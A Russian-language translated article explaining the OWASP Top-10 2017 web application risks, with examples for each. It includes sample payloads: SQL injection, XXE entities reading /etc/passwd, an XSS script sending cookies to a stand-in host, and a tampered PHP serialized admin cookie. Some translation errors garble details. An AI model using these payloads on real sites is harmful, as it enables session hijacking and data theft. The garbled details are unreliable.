OWASP TOP-10. 10 самых опасных уязвимостей

Дата: 30.03.2021. Автор: Игорь Б. Категории: Статьи по информационной безопасности
OWASP TOP-10. 10 самых опасных уязвимостей

В этой статье пойдет речь о OWASP TOP-10. Читатели ближе познакомятся с 10 самыми опасными уязвимостями веб-приложений.

Open Web Application Security Project (OWASP) – это некоммерческая организация, а также открытое интернет-сообщество, целью которого является защита организаций посредством разработки безопасного кода, тестирования на проникновение и сопровождения разрабатываемых приложений на всех этапах проекта. OWASP использует различные ресурсы (люди, технологии, процессы), чтобы решить существующие и возникающие проблемы в разработке безопасных приложений. Это происходит с помощью внедрения библиотек и применения инструментов безопасности, предоставляемых OWASP. Чтобы обеспечить долгосрочный успех проекта, все участники организации OWASP являются добровольцами, включая сам совет директоров OWASP, руководителей отделений, проектов и самих участников.

OWASP TOP-10

После сбора данных от более, чем 40 известных отраслевых компаний по обеспечению безопасности приложений, а также проведения опроса (500 человек) OWASP опубликовала в сети «Top 10 WEB Application Security Risks». 10 самых опасных уязвимостей были определены на основе собранной информации и выявленных проблем в более, чем 100 000 различных программах. Иногда довольно трудно обнаружить уязвимости безопасности в приложении. Во многих случаях наиболее экономичный подход включает в себя анализ системы с использованием передовых инструментов безопасности.

В чем заключается уязвимость программы?

OWASP TOP-10 в основном фокусируется на выявлении наиболее серьезных уязвимостей безопасности в веб-приложениях и службах. О каждой из уязвимостей OWASP предоставляет общую информацию, включающую в себя данные о главных принципах анализа вероятности и влияния на бизнес (BIA). Организация использует следующий рейтинг, который основан на методологии оценки рисков OWASP. OWASP TOP-10 были отобраны в соответствии с Common Weakness Enumeration (CWE) программного обеспечения.

OWASP TOP-10. 10 самых опасных уязвимостей

Что такое риски безопасности приложений?

Интернет стал богаче на возможности для злоумышленников за десять лет. Есть множество тактик, методов, процедур (TTPS), инструментов для использования уязвимостей, присутствующих в приложении или организационной инфраструктуре, в своих целях. Каждая уязвимость представляет собой риск, которым можно воспользоваться. Чтобы определить влияние бизнеса на свою организацию, необходимо использовать структуру управления рисками для выявления, анализа и оценки рисков в соответствии с вероятностью их возникновения. Возможные угрозы, векторы атаки и «дыры» в безопасности составляют общий риск.

OWASP TOP-10. 10 самых опасных уязвимостей

OWASP TOP-10

OWASP TOP-10. 10 самых опасных уязвимостей

ASR1:2017-Injection

Злоумышленник использует инъекционные методы, такие как SQL, NoSQL, OS и LDAP-инъекции, которые можно провернуть при ненадежной отправке данных интерпретатору в форме команды или запроса. Инъекции предоставляют возможность читать, писать, копировать, получать доступ и выполнять данные без надлежащего разрешения.

Примеры:

В этом случае злоумышленник изменяет значение параметра «id» в своем браузере для отправки команд: ‘ или ‘’1’=’1 https://webABC.com/app/accountView?id=’ или ‘1’=’1.

Приложение использует ненадежные данные при построении следующего уязвимого вызова SQL:

String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";

Приложение уязвимо, если:

  • данные, предоставленные пользователем, не проверяются, не фильтруются и не защищаются должным образом;
  • в разделе интерпретатора используются непосредственно динамические запросы или непараметризованные вызовы;
  • данные конфиденциальных записей используются в рамках объектно-реляционного отображения (ORM);
  • враждебные данные используются или объединяются через динамические запросы с SQL или с помощью команд;

Вероятность инъекции может быть определена с помощью стандартного анализа исходного кода. Кроме того, когда пользователь использует автоматизированные инструменты тестирования в процессе проверки кода, это помогает ему протестировать все виды входных данных, таких как заголовки, параметры, файлы cookie, URL, JSON, SOAP и XML.

ASR2:2017-Broken Authentication

При неработающей аутентификации функции приложений неправильно реализуются в областях аутентификации и управления сеансами, что часто приводит к уязвимостям и использованию злоумышленниками компрометирующих ключей, паролей и токенов сеанса.

Примеры:

  • Credential stuffing (использование списков известных паролей). Если приложение не реализует автоматическую защиту от угроз или вброса учетных данных, то можно использовать подборщик паролей, чтобы определить, являются ли полученные данные истинными или нет.
  • Authentication attacks (атаки аутентификации). Часто эти атаки случаются из-за использования паролей в качестве единственного фактора проверки личности пользователя.
  • Session timeouts (тайм-ауты сеанса). Нужно быть уверенным в том, что серверная сторона настроена на автоматическое изменение статуса в зависимости от сеансов пользователя.

Приложение уязвимо, если:

  • злоумышленник использует автоматические скрипты для заполнения учетных данных списком допустимых имен пользователей и паролей;
  • он применяет атаки типа брутфорс или другие автоматизированные методы нападения;
  • пользователи устанавливают общеизвестные пароли;
  • используются слабые или неэффективные методы восстановления утерянных данных;
  • применяются простые текстовые, зашифрованные или слабо хэшированные пароли;
  • не включены функции аутентификации MFA или используются их неэффективные настройки;
  • предоставляются идентификаторы сеансов в URL-адресе (например, есть возможность перезаписи URL-адреса);
  • идентификаторы сеансов не становятся недействительными после каждого успешного входа в систему;
  • во время выхода из системы или в течение периода бездействия сеансы пользователя или токены аутентификации не являются должным образом недействительными в токенах единого входа (SSO).

ASR3:2017-Sensitive Data Exposure

Большинство веб-приложений и веб-API не защищены должным образом, что приводит к раскрытию конфиденциальных данных, таких как личная идентифицируемая информация (PII), относящаяся к финансовому сектору и области состояния здоровья пользователей. Отсутствие механизмов защиты подобной информации, специальных политик, функций шифрования приводит к подделке, краже, утечке, мошенничеству, злоупотреблению важными данными.

Примеры:

  • Application encryption process (процесс шифрования данных в приложении). Когда приложение шифрует номера кредитных карт в базе данных, они автоматически расшифровываются в формате открытого текста при извлечении с помощью атак инъекционного типа.
  • Session hijacking/interception (захват/перехват сеанса). Эта уязвимость появляется, когда веб-сайт не использует Transport Layer Security (TLS) для своих веб-страниц или применяет устаревшие протоколы SSL (Secure Sockets Layer). Например, в незащищенной беспроводной сети злоумышленник может понизить уровень соединения с HTTPS до HTTP и использовать произвольные методы для перехвата соединений и кражи сеансовых файлов Сookie. Полученную информацию он сможет применить для перехвата аутентифицированного сеанса или подделывания данных пользователей.
  • Unsalted/Hashing (хэширование). Обычно к паролям в базе данных не применяется какое-либо хеширование при хранении. При загрузке файла может появиться уязвимость, которая позволит злоумышленнику извлечь пароль пользователя. Например, популярные атаки «rainbow table» могут быть выполнены для предварительного получения хэшей паролей и последующего взлома.

Очень важно определить, какой уровень защиты нужен постоянно используемым данным, данным для отправки и файлам для функционирования программы в состоянии покоя. Существует множество политик, связанных с конфиденциальностью информации, таких как «Общее положение о защите данных (GDPR)» и «Стандарт безопасности данных PCI (PCI DSS)».

Приложение уязвимо, если:

  • какие-либо данные передаются в простой форме текста;
  • есть устаревшие или слабые криптографические алгоритмы и протоколы, используемые в кодах;
  • не используются ключевые политики управления;
  • применяются стандартные или слабые крипто-ключи;
  • шифрование не применяется должным образом;
  • агент пользователя не проверяет, действителен ли полученный сертификат сервера.

ASR4:2017-XML External Entities (XXE)

Значения сущностей XML объявляются и загружаются извне DTD. XML-сущности часто настраиваются не должным образом, что приводит к плохой оценке ссылок на сущности в XML-документах. Таким образом, при использовании внешних сущностей злоумышленники могут раскрывать внутренние файлы с помощью обработчика файлов URI. Это дает им возможность находить внутренние файлы, проводить сканирование портов, осуществлять удаленное выполнение кода (RCE) и DoS-атаки.

Примеры:

Злоумышленник пытается извлечь данные с уязвимого сервера:

<?xml version=”1.0" encoding=”ISO-8859–1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM “file:///etc/passwd” >]>
<foo>&xxe;</foo>

Когда злоумышленник пытается проникнуть во внутреннюю сеть жертвы (частную сеть), он изменяет вышеприведенную строку сущности на:

<!ENTITY xxe SYSTEM “https://192.168.10.1/private" >]>

Когда злоумышленник пытается выполнить DoS-атаку, ему нужно включить бесконечные параметры файла:

<!ENTITY xxe SYSTEM “file:///dev/random” >]>

Приложение уязвимо, если:

  • используется веб-служба на основе XML и другие нижестоящие в плане защиты интеграции;
  • само непосредственно принимает XML-файлы; или загрузка XML-файлов происходит из ненадежных источников; или ненадежные данные добавляются в XML-документы, а позже они анализируются XML-процессором;
  • в каком-либо из XML-процессоров в приложении или веб-службах на основе SOAP включены определения типов документов (DTD).
  • SAML использует XML для подтверждения идентичности;
  • использует SOAP (до версии 1.2); атаки XXE – становятся основной угрозой; если есть риск атак XXE, то можно осуществить и атаку «Billion Laughs».

ASR5:2017-Broken Access Control

В принципе, Access Control (AC) или контроль доступа подразумевает под собой строгую политику в отношении допустимых разрешений. Если есть Broken Access Control (BAC) или нарушенный контроль доступа, это дает злоумышленникам возможность получить доступ к конфиденциальным файлам и учетным записям пользователей.

Примеры:

В данном случае, когда приложение использует непроверенные данные в вызове SQL, это приводит к доступу к информации об учетной записи. Хакер изменяет параметр «acct» в браузере, чтобы получить номер любой учетной записи, который он захочет. Если его действия не будут проверены должным образом, то злоумышленник сможет получить доступ к нужной учетной записи пользователя.

pstmt.setString(1, request.getParameter(“acct”));
ResultSet results = pstmt.executeQuery( );
http://testing.com/app/accountInfo?acct=notmyacct

Злоумышленник в веб-браузере переходит на целевую страницу администратора URL-адресов.

Основное различие между неаутентифицированным пользователем и администратором сайта заключается в том, что первый не может получить доступ к определенной скрытой странице. Когда пользователь, не являющийся администратором, может добраться до скрытых страниц, это огромная проблема.

Приложение уязвимо, если:

  • можно обойти проверки контроля доступа с помощью различных атак и методик;
  • можно получить разрешение на изменение первичного ключа для записи другого пользователя;
  • можно повысить свои привилегии в системе;
  • есть возможность осуществить манипуляцию метаданными в веб-токене JSON (JWT) или файлах Cookie;
  • можно установить неправильную конфигурацию CORS и получить несанкционированный доступ к API;
  • есть возможность управлять доступом к методам запроса HTTP POST, HTTP PUT и HTTP DELETE.

ASR6:2017-Security Misconfiguration

Невозможность реализовать все необходимые средства контроля или меры безопасности в веб-приложении или на сервере часто считается серьезной уязвимостью. Многие разработчики устанавливают конфигурации по умолчанию для своих приложений, серверов, облачных хранилищ, HTTP-заголовков, сообщений об ошибках.

Примеры:

  • Application server (сервер приложений). Сервер приложений поставляется с определенным количеством программ, которые обычно не могут быть удалены. Злоумышленники пользуются этим недостатком, что приводит к успешной компрометации сервера. Например, если какое-либо из приложений работает с именем пользователя и паролем по умолчанию в учетной записи администратора, то преступник с легкостью может получить доступ к нему.
  • Directory listing (список каталогов). Если список каталогов не отключен на рабочем сервере, злоумышленник может найти перечисленные каталоги, загрузить скомпилированные классы Java, а затем использовать инструменты обратного проектирования, такие как dex2Jar, для декомпиляции исходного кода.
  • Server’s configuration (конфигурация сервера). Конфигурация сервера приложений содержит подробные сообщения об ошибках, что потенциально может привести к раскрытию приватной информации или основных недостатков безопасности.
  • Default sharing permissions (разрешения общего доступа по умолчанию). Разрешения общего доступа, предлагаемые поставщиком облачных услуг (CSP), включают в себя выход в Интернет, что дает возможность хакеру получить доступ к конфиденциальным данным, хранящимся в облачном хранилище.

Приложение уязвимо, если:

  • отсутствуют меры усиления безопасности в стеке приложений или присутствует любая неправильная конфигурация;
  • включены или установлены ненужные функции или службы;
  • не удалены учетные записи с паролями по умолчанию;
  • доступны сообщения об ошибках в программе;
  • актуальные функции безопасности отключены или не настроены должным образом;
  • параметры безопасности на серверах и фреймворках приложений, библиотеках, базах данных не настроены должным образом;
  • сервер отправляет заголовки безопасности или директивы;
  • плагины устарели или уязвимы для определенных эксплойтов.

ASR7:2017-Cross-Site Scripting (XSS)

Межсайтовый скриптинг (XSS) становится возможным, когда приложение добавляет ненадежные данные в новую веб-страницу без надлежащей их проверки или у хакера есть возможность обновить существующую веб-страницу, имея под рукой нужную информацию. В результате злоумышленник способен выполнять свои скрипты в браузере жертвы, а затем перехватывать сеансы пользователей, портить сайты конкурентов или перенаправлять их клиентов на вредоносные ресурсы.

Примеры:

В данном случае приложение использует ненадежные данные в Html-фрагменте, не проверяя их. В частности, идентификатор сеанса жертвы должен быть отправлен на веб-сайт злоумышленника, что позволяет хакеру захватить текущий сеанс пользователя.

Примечание: Злоумышленники могут использовать метод XSS для поражения автоматизированной защиты от подделки межсайтовых запросов (CSRF), используемой разработчиками программного обеспечения в своем приложении.

(String) page += “<input name=’creditcard’ type=’TEXT’
value=’” + request.getParameter(“CC”) + “‘>”;

Злоумышленник изменяет параметр «CC» в браузере:

‘><script>document.location=
‘http://www.test.com/cgi-bin/cookie.cgi?
foo=’+document.cookie</script>’.
Виды XSS
  • Reflected XSS. Приложение или API включает в себя непроверенный и неэскапированный пользовательский ввод как часть вывода Html.
  • Stored XSS. Приложение или API хранит неанитизированный пользовательский ввод, который позже просматривается другим пользователем или администратором.
  • DOM XSS. Если какие-либо приложения содержат JavaScript-фреймворки, одностраничные приложения и API, они уязвимы для атак злоумышленника.

ASR8:2017-Insecure Deserialization

При небезопасной десериализации происходит удаленное выполнение кода путем использования хорошо известных уязвимостей присутствия в веб-приложениях.

Примеры:

Например, злоумышленники используют инструмент Java Serial Killer или расширение Burp для выполнения атак десериализации Java. В приведенном ниже коде он неизменен, поэтому сериализует пользовательское состояние и передает его туда и обратно при получении каждого запроса. Когда злоумышленник замечает сигнатуру объекта «R00», он может использовать Java Serial Killer для осуществления атаки удаленного выполнения кода на сервер приложения.

Используется сериализация объектов PHP для сохранения «super» Сookie, в котором содержится идентификатор пользователя, его привилегии и хэш пароля. Злоумышленник может изменить сериализованный объект, чтобы получить привилегии администратора.

a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user";
i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin";
i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

Программа более уязвима, когда приложение и API десериализуют или подделывают объекты, отправленные злоумышленником. В дальнейшем это может привести к двум типам атак:

  • злоумышленник изменяет логику приложения или архивирует произвольное удаленное выполнение кода;
  • в приложении доступны классы, которые могут изменить его поведение во время или после десериализации.

Это атаки типа «Data tampering» и «Сontrol-related».

Сериализация может быть применена для:

  • удаленного и межпроцессного взаимодействия (RPC/IPC);
  • протоколов Wire, веб-сервисов, брокеров сообщений;
  • кэширования/персистентности;
  • БД, кэш-серверов, файловых систем;
  • HTTP-файлов Сookie, параметров HTML-форм, маркеров аутентификации API.

ASR9:2017-Using Components with Known Vulnerabilities

Производственная среда любой организации связана со сторонними инструментами и фреймворками. Использование компонентов с известными уязвимостями может привести к катастрофическим последствиям для бизнес-операций. Когда злоумышленник использует уязвимости компонентов, может случиться потеря данных, он способен получить повышение привилегий и захватить сервер. Несмотря на то, что поддержание «Third-party Component Management Life Cycle (TPCM)» помогает членам команды оценивать и смягчать последствия уязвимостей, фаза мониторинга рассматривается как независимый процесс, который необходим на протяжении всего жизненного цикла разработки сторонних компонентов.

Подробнее о 12 практиках безопасного жизненного цикла разработки программного обеспечения (SDLC) можно прочитать в нашей статье.

Примеры:

Использование компонентов в мошеннических целях может иметь серьезные последствия, поскольку по умолчанию они обладают теми же привилегиями, что и приложение.

CVE-2017–5638

Неправильная обработка исключений и генерация сообщений об ошибках во время попыток загрузки файлов. Это позволяет злоумышленникам удаленно выполнять произвольные команды с помощью созданного HTTP-заголовка Content-Type, Content-Disposition или Content-Length.

Интернет вещей

Есть несколько автоматизированных инструментов, помогающих злоумышленникам находить незащищенные или неправильно настроенные системы в сети. Например, поисковая система Shodan IoT поможет обнаружить инструменты, которые страдают от уязвимости Heartbleed (CVE-2014–0160).

Приложение уязвимо, если:

  • есть устаревшие компоненты (ОС, сервер приложений, система управления БД, приложения, API, среды выполнения и библиотеки);
  • риски не были устранены, программы не были обновлены вовремя;
  • не была проведена проверка совместимости новых или исправленных библиотек;
  • есть небезопасная конфигурация компонентов.

ASR10:2017-Insufficient Logging & Monitoring

В OWASP TOP-10 ведение журнала и мониторинг являются одними из важнейших практик, которые следует учитывать при создании приложения. Фактическое реагирование на инциденты и криминалистический анализ происходят во время данных операций, поэтому крайне важно, чтобы они были включены и верно настроены.

Примеры:

Когда злоумышленник успешно взломал веб-приложение, он может удалить любую активность, очистить хранилище данных с исходным кодом. Хакер использует стратегию разведки для выявления запущенных служб и обнаруживает уязвимые порты.

Приложение уязвимо, если:

  • важные события, такие как просмотр журналов, входы в систему, неудачные входы в систему, атаки брутфорс не регистрируются;
  • не отслеживаются сообщения в журнале ошибок;
  • не отслеживается подозрительная активность;
  • отсутствуют политики хранения журналов и управления хранилищем данных;
  • соответствующие оповещения и процессы автоматического реагирования на инциденты отсутствуют;
  • инструменты тестирования на проникновение DAST не запускают необходимые оповещения вовремя;
  • не высылаются предупреждения об актуальных атаках в режиме реального времени;
  • внутренние события приложения и оповещения видны всем пользователям.

Автор переведенной статьи: Mr.Vic.

Игорь Б

Об авторе Игорь Б

Автор на портале cisoclub.ru. Добавляйте ваш материал на сайт в разделе "Разместить публикацию".
Читать все записи автора Игорь Б

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *